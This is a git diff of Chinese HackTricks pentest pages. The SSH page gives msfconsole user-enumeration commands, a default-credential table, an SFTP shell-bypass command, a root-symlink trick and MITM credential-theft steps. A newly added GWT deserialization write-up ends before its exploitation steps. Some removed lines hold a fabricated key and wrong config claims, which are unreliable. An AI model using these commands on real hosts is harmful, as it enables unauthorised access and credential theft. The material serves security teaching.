* 输出算法建议（根据识别的软件版本追加或删除）；
|
||||
* 输出安全信息（相关问题，分配的CVE列表等）；
|
||||
* 基于算法信息分析SSH版本兼容性；
|
||||
* 来自OpenSSH、Dropbear SSH和libssh的历史信息；
|
||||
* 在Linux和Windows上运行；
|
||||
* 无依赖项
|
||||
* 支持 SSH1 和 SSH2 协议服务器；
|
||||
* 分析 SSH 客户端配置；
|
||||
* 抓取横幅，识别设备或软件和操作系统，检测压缩；
|
||||
* 收集密钥交换、主机密钥、加密和消息认证码算法；
|
||||
* 输出算法信息（自何时可用，何时移除/禁用，不安全/弱/遗留等）；
|
||||
* 输出算法建议（根据识别的软件版本添加或移除）；
|
||||
* 输出安全信息（相关问题，分配的 CVE 列表等）；
|
||||
* 根据算法信息分析 SSH 版本兼容性；
|
||||
* 来自 OpenSSH、Dropbear SSH 和 libssh 的历史信息；
|
||||
* 在 Linux 和 Windows 上运行；
|
||||
* 无依赖
|
||||
```bash
|
||||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||||
|
||||
|
|
@ -85,18 +85,17 @@ use -t to change timeout)
|
|||
(default: 5)
|
||||
$ python3 ssh-audit <IP>
|
||||
```
|
||||
### 服务器的公共SSH密钥
|
||||
[查看动作演示 (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
|
||||
```plaintext
|
||||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6X
|
||||
### 服务器的公共SSH密钥
|
||||
```bash
|
||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
### 弱密码算法
|
||||
|
||||
这是默认由**nmap**发现的。但你也可以使用**sslcan**或**sslyze**。
|
||||
**nmap** 默认会发现这个问题。但你也可以使用 **sslcan** 或 **sslyze**。
|
||||
|
||||
### Nmap脚本
|
||||
### Nmap 脚本
|
||||
```bash
|
||||
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
||||
nmap -p22 <ip> -sV # Retrieve version
|
||||
|
|
@ -112,44 +111,44 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
|||
|
||||
### 用户名枚举
|
||||
|
||||
在某些版本的OpenSSH中，您可以使用时序攻击来枚举用户。您可以使用Metasploit模块来利用此漏洞：
|
||||
在某些版本的OpenSSH中，您可以进行时序攻击来枚举用户。您可以使用metasploit模块来利用这一点：
|
||||
```
|
||||
msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
### [暴力破解](../generic-methodologies-and-resources/brute-force.md#ssh)
|
||||
|
||||
一些常见的ssh凭证[在这里](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)和[在这里](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)以及下面。
|
||||
一些常见的ssh凭据[在此](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)和[在此](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)，以及下面。
|
||||
|
||||
### 私钥暴力破解
|
||||
|
||||
如果你知道一些可以使用的ssh私钥...让我们试试吧。你可以使用nmap脚本：
|
||||
如果你知道一些可能会用到的ssh私钥...让我们尝试一下。你可以使用nmap脚本：
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
或者使用MSF辅助模块：
|
||||
或MSF辅助模块：
|
||||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
或者使用`ssh-keybrute.py`（原生python3，轻量级且启用了传统算法）：[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)。
|
||||
或使用 `ssh-keybrute.py`（原生 python3，轻量级且启用了传统算法）：[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)。
|
||||
|
||||
#### 已知的不安全密钥可以在这里找到：
|
||||
|
||||
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
|
||||
|
||||
#### 弱SSH密钥/Debian可预测PRNG
|
||||
#### 弱SSH密钥 / Debian可预测的PRNG
|
||||
|
||||
某些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间大大减少，从而可以进行暴力破解。在此处提供了在受弱PRNG影响的Debian系统上生成的预生成密钥集：[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
|
||||
一些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间大幅减少，可以被暴力破解。在受到弱PRNG影响的Debian系统上预生成的密钥集合可以在这里找到：[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
|
||||
|
||||
您应该在此处搜索受害机器的有效密钥。
|
||||
你应该在这里查找受害机器的有效密钥。
|
||||
|
||||
### Kerberos
|
||||
|
||||
**crackmapexec**使用`ssh`协议可以使用`--kerberos`选项来**通过Kerberos进行身份验证**。\
|
||||
有关更多信息，请运行`crackmapexec ssh --help`。
|
||||
**crackmapexec** 使用 `ssh` 协议可以使用 `--kerberos` 选项来**通过kerberos认证**。\
|
||||
更多信息请运行 `crackmapexec ssh --help`。
|
||||
|
||||
## 默认凭据
|
||||
## 默认凭证
|
||||
|
||||
| **供应商** | **用户名** | **密码** |
|
||||
| **供应商** | **用户名** | **密码** |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
|
|
@ -168,34 +167,34 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
## SSH-MitM
|
||||
|
||||
如果您在与将使用用户名和密码连接到SSH服务器的受害者处于同一局域网中，您可以尝试**执行中间人攻击以窃取这些凭据**：
|
||||
如果你和将要使用用户名和密码连接到SSH服务器的受害者在同一本地网络中，你可以尝试**执行中间人攻击来窃取这些凭证：**
|
||||
|
||||
**攻击路径：**
|
||||
|
||||
* 用户流量被重定向到攻击机器
|
||||
* 攻击者监视连接到SSH服务器的尝试，并将其重定向到其自己的SSH服务器
|
||||
* 攻击者的SSH服务器被配置为首先记录所有输入的数据，包括用户的密码，其次发送命令到用户想要连接的合法SSH服务器以执行它们，然后将结果返回给合法用户
|
||||
* 攻击者监控尝试连接到SSH服务器的行为，并将它们重定向到其SSH服务器
|
||||
* 攻击者的SSH服务器首先配置为记录所有输入的数据，包括用户的密码，其次，向用户想要连接的合法SSH服务器发送命令以执行它们，然后将结果返回给合法用户
|
||||
|
||||
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\*正是上述描述的操作。
|
||||
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* 正是如上所述的操作。
|
||||
|
||||
为了捕获实际的中间人攻击，您可以使用ARP欺骗、DNS欺骗或其他在[**网络欺骗攻击**](../generic-methodologies-and-resources/pentesting-network/#spoofing)中描述的技术。
|
||||
为了捕获实际的中间人攻击，你可以使用ARP欺骗、DNS欺骗或在 [**网络欺骗攻击**](../generic-methodologies-and-resources/pentesting-network/#spoofing) 中描述的其他技术。
|
||||
|
||||
## 配置错误
|
||||
|
||||
### Root登录
|
||||
|
||||
默认情况下，大多数SSH服务器实现将允许root登录，建议禁用它，因为如果此帐户的凭据泄漏，攻击者将直接获得管理员权限，这还将允许攻击者对此帐户进行暴力破解攻击。
|
||||
默认情况下，大多数SSH服务器实现将允许root登录，建议禁用它，因为如果这个账户的凭证泄露，攻击者将直接获得管理权限，这也将允许攻击者对这个账户进行暴力破解攻击。
|
||||
|
||||
**如何禁用openSSH的root登录：**
|
||||
**如何为openSSH禁用root登录：**
|
||||
|
||||
1. 编辑SSH服务器配置 `sudoedit /etc/ssh/sshd_config`
|
||||
2. 将 `#PermitRootLogin yes` 改为 `PermitRootLogin no`
|
||||
3. 考虑配置更改：`sudo systemctl daemon-reload`
|
||||
4. 重新启动SSH服务器 `sudo systemctl restart sshd`
|
||||
4. 重启SSH服务器 `sudo systemctl restart sshd`
|
||||
|
||||
### SFTP命令执行
|
||||
|
||||
另一个常见的SSH配置错误通常出现在SFTP配置中。大多数情况下，当创建SFTP服务器时，管理员希望用户具有SFTP访问以共享文件，但不希望用户在机器上获得远程shell。因此，他们认为创建一个用户，为其分配一个占位符shell（如`/usr/bin/nologin`或`/usr/bin/false`），并将其chroot到一个jail中足以避免对整个文件系统的shell访问或滥用。但是，他们是错误的，**用户可以在身份验证之后，在默认命令或shell执行之前要求执行命令**。因此，要绕过将拒绝shell访问的占位符shell，只需在之前要求执行一个命令（例如`/bin/bash`），只需执行以下操作：
|
||||
另一个常见的SSH配置错误通常出现在SFTP配置中。大多数时候，当创建一个SFTP服务器时，管理员希望用户有一个SFTP访问权限来共享文件，但不希望在机器上获得远程shell。所以他们认为创建一个用户，给他一个占位符shell（如 `/usr/bin/nologin` 或 `/usr/bin/false`）并将他chroot在一个监狱中足以避免shell访问或对整个文件系统的滥用。但他们错了，**用户可以在默认命令或shell执行之前，请求执行一个命令**。因此，为了绕过将拒绝shell访问的占位符shell，只需在之前请求执行一个命令（例如 `/bin/bash`），只需这样做：
|
||||
```
|
||||
$ ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
|
|
@ -218,30 +217,8 @@ debug1: Exit status 0
|
|||
|
||||
$ ssh noraj@192.168.1.94 /bin/bash
|
||||
```
|
||||
以下是用户`noraj`的安全SFTP配置示例（`/etc/ssh/sshd_config` - openSSH）：
|
||||
|
||||
```plaintext
|
||||
# Only allow SFTP access for the user noraj
|
||||
Match User noraj
|
||||
ForceCommand internal-sftp
|
||||
ChrootDirectory /home/noraj
|
||||
PermitTunnel no
|
||||
AllowAgentForwarding no
|
||||
AllowTcpForwarding no
|
||||
X11Forwarding no
|
||||
```
|
||||
|
||||
这是一个安全的SFTP配置示例，仅允许用户`noraj`访问。配置文件`/etc/ssh/sshd_config`中的设置如下：
|
||||
|
||||
```plaintext
|
||||
# 仅允许用户noraj进行SFTP访问
|
||||
Match User noraj
|
||||
ForceCommand internal-sftp
|
||||
ChrootDirectory /home/noraj
|
||||
PermitTunnel no
|
||||
AllowAgentForwarding no
|
||||
AllowTcpForwarding no
|
||||
X11Forwarding no
|
||||
这是针对用户 `noraj` 的安全SFTP配置示例（`/etc/ssh/sshd_config` - openSSH）：
|
||||
```
|
||||
```
|
||||
Match User noraj
|
||||
|
|
@ -252,34 +229,34 @@ PermitTunnel no
|
|||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
这个配置只允许SFTP：通过强制启动命令和禁用TTY访问来禁用shell访问，同时禁用所有类型的端口转发或隧道。
|
||||
这种配置将仅允许SFTP：通过强制启动命令禁用shell访问，并禁用TTY访问，但也禁用所有类型的端口转发或隧道。
|
||||
|
||||
### SFTP隧道
|
||||
### SFTP 隧道
|
||||
|
||||
如果您可以访问SFTP服务器，您还可以通过使用常见的端口转发将流量隧道化。
|
||||
如果您可以访问SFTP服务器，您也可以通过它隧道传输您的流量，例如使用常见的端口转发：
|
||||
```
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTP 符号链接
|
||||
|
||||
**sftp** 命令中有一个 "**symlink**" 命令。因此，如果你在某个文件夹中具有 **可写权限**，你可以创建 **其他文件夹/文件** 的 **符号链接**。由于你可能被**限制**在一个 chroot 环境中，所以这对你来说**不会特别有用**，但是，如果你可以从一个 **非 chroot 服务**（例如，如果你可以从 web 访问符号链接）中**访问**创建的 **符号链接**，你可以通过 web **打开符号链接的文件**。
|
||||
**sftp** 支持 "**symlink**" 命令。因此，如果你在某个文件夹中拥有**可写权限**，你可以创建指向**其他文件夹/文件**的**符号链接**。由于你可能被限制在一个 chroot 环境中，这**并不特别有用**，但是，如果你能够通过一个**非chroot** **服务**访问创建的**符号链接**（例如，如果你能够通过网页访问该符号链接），你可以**通过网页打开链接的文件**。
|
||||
|
||||
例如，要将一个新文件 **"**_**froot**_**"** 创建为指向 **"**_**/**_**"** 的 **符号链接**：
|
||||
例如，要创建一个从新文件 **"**_**froot**_**" 到 "**_**/**_**"** 的**符号链接**：
|
||||
```
|
||||
sftp> symlink / froot
|
||||
```
|
||||
如果您可以通过网络访问文件"_froot_"，您将能够列出系统的根("/")文件夹。
|
||||
如果您可以通过网络访问文件 "_froot_"，您将能够列出系统的根目录（"/"）。
|
||||
|
||||
### 身份验证方法
|
||||
### 认证方法
|
||||
|
||||
在高安全环境中，通常会启用基于密钥或双因素身份验证，而不是简单的基于密码的身份验证。但是，通常在启用更强的身份验证方法的同时，不禁用较弱的方法。一个常见的情况是在openSSH配置中启用`publickey`并将其设置为默认方法，但不禁用`password`。因此，通过使用SSH客户端的详细模式，攻击者可以看到启用了较弱的方法：
|
||||
在高安全环境中，通常的做法是仅启用基于密钥或双因素认证，而不是简单因素的基于密码的认证。但往往在启用了更强的认证方法而没有禁用较弱的方法。一个常见的情况是在openSSH配置中启用`publickey`并将其设置为默认方法，但没有禁用`password`。因此，通过使用SSH客户端的详细模式，攻击者可以看到启用了较弱的方法：
|
||||
```
|
||||
$ ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
例如，如果设置了身份验证失败限制，并且您从未有机会到达密码方法，您可以使用`PreferredAuthentications`选项来强制使用此方法。
|
||||
例如，如果设置了认证失败限制，并且你永远无法达到密码方法，你可以使用 `PreferredAuthentications` 选项来强制使用这种方法。
|
||||
```
|
||||
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
|
|
@ -287,61 +264,7 @@ debug1: Next authentication method: password
|
|||
```
|
||||
### 配置文件
|
||||
|
||||
The SSH server configuration files are located in the `/etc/ssh/` directory. The main configuration file is `sshd_config`, which contains the settings for the SSH server.
|
||||
|
||||
To review the SSH server configuration, open the `sshd_config` file using a text editor:
|
||||
|
||||
```bash
|
||||
$ sudo nano /etc/ssh/sshd_config
|
||||
```
|
||||
|
||||
### 配置文件
|
||||
|
||||
SSH服务器的配置文件位于`/etc/ssh/`目录中。主要的配置文件是`sshd_config`，其中包含了SSH服务器的设置。
|
||||
|
||||
要查看SSH服务器的配置，请使用文本编辑器打开`sshd_config`文件：
|
||||
|
||||
```bash
|
||||
$ sudo nano /etc/ssh/sshd_config
|
||||
```
|
||||
|
||||
### Authentication Methods
|
||||
|
||||
### 身份验证方法
|
||||
|
||||
The `sshd_config` file allows you to specify which authentication methods are allowed for SSH connections. It is important to review and configure these methods to ensure that only the expected methods are authorized.
|
||||
|
||||
Look for the `AuthenticationMethods` directive in the `sshd_config` file. This directive specifies the allowed authentication methods. By default, it is set to `password` and `publickey`, which means both password and public key authentication are allowed.
|
||||
|
||||
To restrict the authentication methods, modify the `AuthenticationMethods` directive accordingly. For example, to allow only public key authentication, set it to:
|
||||
|
||||
```
|
||||
AuthenticationMethods publickey
|
||||
```
|
||||
|
||||
Save the changes and restart the SSH service for the new configuration to take effect:
|
||||
|
||||
```bash
|
||||
$ sudo service ssh restart
|
||||
```
|
||||
|
||||
### 身份验证方法
|
||||
|
||||
`sshd_config`文件允许您指定SSH连接所允许的身份验证方法。重要的是要检查和配置这些方法，以确保只有预期的方法被授权。
|
||||
|
||||
在`sshd_config`文件中查找`AuthenticationMethods`指令。该指令指定了允许的身份验证方法。默认情况下，它设置为`password`和`publickey`，这意味着密码和公钥身份验证都是允许的。
|
||||
|
||||
要限制身份验证方法，请相应地修改`AuthenticationMethods`指令。例如，要仅允许公钥身份验证，请将其设置为：
|
||||
|
||||
```
|
||||
AuthenticationMethods publickey
|
||||
```
|
||||
|
||||
保存更改并重新启动SSH服务以使新配置生效：
|
||||
|
||||
```bash
|
||||
$ sudo service ssh restart
|
||||
```
|
||||
检查SSH服务器配置是必要的，以确保只有预期的方法被授权。在客户端上使用详细模式可以帮助查看配置的有效性。
|
||||
```
|
||||
ssh_config
|
||||
sshd_config
|
||||
|
|
@ -355,14 +278,14 @@ id_rsa
|
|||
* [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
* [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2)
|
||||
|
||||
## References
|
||||
## 参考资料
|
||||
|
||||
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* 你可以在 [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html) 找到关于如何加固SSH的有趣指南
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。
|
||||
如果你对**黑客职业**感兴趣，并且想要黑进那些不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -384,14 +307,16 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
|
||||
|
||||
```
|
||||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果你在一家**网络安全公司**工作？你想在**HackTricks**中看到你的**公司广告**？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
|||
|
|
@ -0,0 +1,215 @@
|
|||
# GWT - Google Web Toolkit
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 如果您在**网络安全公司**工作，想在**HackTricks**上看到您的**公司广告**，或者想要获取**PEASS最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
**文章复制自** [**https://bishopfox.com/blog/gwt-unpatched-unauthenticated-java-deserialization-vulnerability**](https://bishopfox.com/blog/gwt-unpatched-unauthenticated-java-deserialization-vulnerability)
|
||||
|
||||
## 介绍
|
||||
|
||||
如果我告诉你，[GWT，一个相当流行的开源Web应用程序框架，最初是在Google开发的](https://www.gwtproject.org/)，包含了一个未经认证的Java反序列化漏洞，这个漏洞在2015年和2020年已经公开讨论过，但在2023年末仍未修复，你会怎么反应？如果我还暗示说，这个漏洞的级别如此之低，以至于要保护使用这个框架编写的易受攻击的Web应用程序，可能需要对这些应用程序或框架本身进行架构更改，你又会怎么想？
|
||||
|
||||
如果你和我一样，你的第一反应可能是不相信。毕竟，一个可能使应用程序所有者暴露于未经认证的攻击者的服务器端代码执行的漏洞，肯定会在发现后不到八年的时间内得到修复。如果没有发布补丁，那么至少易受攻击的框架功能会被标记为已弃用，并且框架文档会提供替换易受攻击代码的更新替代方案的建议。至少，框架开发者无疑会更新“入门”教程和其他文档，以指出使用易受攻击的功能的固有危险，而不是突出其功能。
|
||||
|
||||
令人惊讶的是，这些假设都不是真的。八年后，漏洞仍未修复，而且在这篇博客文章之前，唯一表明危险的迹象是[一个2020年的GitHub问题，带有“WONTFIX”风格的回应](https://github.com/gwtproject/gwt/issues/9709)，[一些2015年的Google Groups讨论，这些讨论从未导致底层问题得到解决](https://groups.google.com/g/google-web-toolkit/c/j36D9-11JF4/m/OZwNQgvSAgAJ)，以及[一篇2015年的博客文章，正确地建议通过签名序列化数据来解决问题](https://gwtnews.blogspot.com/2015/11/re-java-deserialization-vulnerability\_55.html)，除了GWT从未添加过这样的功能。实际上，[还有一篇2020年的博客文章错误地声称GWT不易受攻击](https://gwtnews.blogspot.com/2020/06/re-security-vulnerabilities-with-gwt\_52.html)，因为它据称从未通过网络传输序列化的Java对象。
|
||||
|
||||
在这篇博客文章中，我将解释GWT（原名“Google Web Toolkit”，有时被称为“GWT Web Toolkit”）中的漏洞，向你展示如何利用一个易受攻击的GWT Web应用程序，向你展示如何设置一个有意易受攻击的GWT Web应用程序进行测试，确定你自己基于GWT的应用程序是否易受攻击，并讨论潜在的缓解措施。
|
||||
|
||||
## **GWT和增强类**
|
||||
|
||||
GWT允许开发者（在其他事情中）用Java编写Web应用程序，这些应用程序在服务器（Tomcat、Jetty等）上运行一些逻辑，并在用户的Web浏览器中运行一些逻辑。当Java项目编译时，GWT SDK会生成任何必要的客户端JavaScript代码。GWT包括一个用JavaScript编写的迷你JRE来实现这一目的。通常，GWT为客户端和服务器编译自定义Java对象，这些对象使用管道分隔的文本序列化格式进行交换，双方都可以解析。例如，以下请求包括一个`String`对象数组和一个`CustomClass1`对象，描述这些对象的属性表示为字符串或数字：
|
||||
```
|
||||
POST /stockwatcher/stockPrices HTTP/1.1
|
||||
…omitted for brevity…
|
||||
|
||||
7|0|8|http://10.1.10.161:8888/stockwatcher/|18FD06825EC4CA84A7FDA272DEDDAFBB|com.google.gwt.sample.stockwatcher.client.StockPriceService|getPrices|[Ljava.lang.String;/2600011424|com.google.gwt.sample.stockwatcher.client.CustomClass1/769391051|a|b|1|2|3|4|2|5|6|5|0|6|0|7|8|
|
||||
```
|
||||
**图 1** - 带有可读对象数据的示例 GWT-RPC 请求
|
||||
|
||||
然而，[GWT 还有一个称为“增强类”的概念](https://www.gwtproject.org/doc/latest/DevGuideServerCommunication.html#DevGuideSerializableTypes)，这些（在高层次上）是满足特定条件的 Java 对象（如果您想了解具体信息，请查阅链接的文档）。这些增强类只使用服务器端代码处理，但作为应用程序状态的一部分传输到客户端并从客户端传回，尽管对客户端来说是不透明的。您可以将其视为类似于 ASP.NET 应用程序中的 ViewState，只是没有支持加密或加密签名。
|
||||
|
||||
当增强类出现在场景中时，它们以一种非标准的 Base64 变体编码出现在 GWT 请求和响应中。例如，以下请求中的值 `rO0ABXcEAAAAAA==`：
|
||||
```
|
||||
POST /stockwatcher/checkCustomClass1 HTTP/1.1
|
||||
…omitted for brevity…
|
||||
|
||||
7|0|9|http://10.1.2.20:8888/stockwatcher/|813E653A29B5DD147027BD9F1DDC06B1|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/658581322|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|a|b|1|2|3|4|1|5|5|6|7|6|0|0|0|8|9|cd
|
||||
```
|
||||
**图 2** - 带有序列化Java对象的示例GWT-RPC请求
|
||||
|
||||
解码数据显示使用了Java对象序列化格式（`0xACED`头是关键，它导致编码版本始终以`rO0`开头）。然而，GWT对该格式的使用与标准Java序列化略有不同。例如，尝试用[`ysoserial`](https://github.com/frohoff/ysoserial)的输出替换值，会导致服务器返回错误消息，而不是反序列化对象。例如：
|
||||
|
||||
* `com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException`
|
||||
* `java.io.EOFException`
|
||||
* `java.io.StreamCorruptedException`
|
||||
* “RPC请求中的令牌太少”
|
||||
|
||||
这可能会让渗透测试人员认为GWT在反序列化对象之前进行了某种数据验证，并拒绝了意外的类，但这种假设是不正确的。
|
||||
|
||||
更糟糕的是，如果应用程序的身份验证或授权代码在GWT应用程序中处理（与在应用程序服务器级别应用的单独过滤器相反），那么任何反序列化漏洞都可以被未经认证或未授权的调用者利用。这是因为GWT在将请求数据传递给关联的服务器端函数之前进行反序列化。
|
||||
|
||||
## 利用易受攻击的应用程序
|
||||
|
||||
如果您已经有一个现成的基于GWT的应用程序可以测试，您可以使用本节中的步骤尝试利用它。如果您无法访问现有的应用程序，“构建一个示例易受攻击的应用程序以进行测试”部分，将指导您快速部署一个以供练习。
|
||||
|
||||
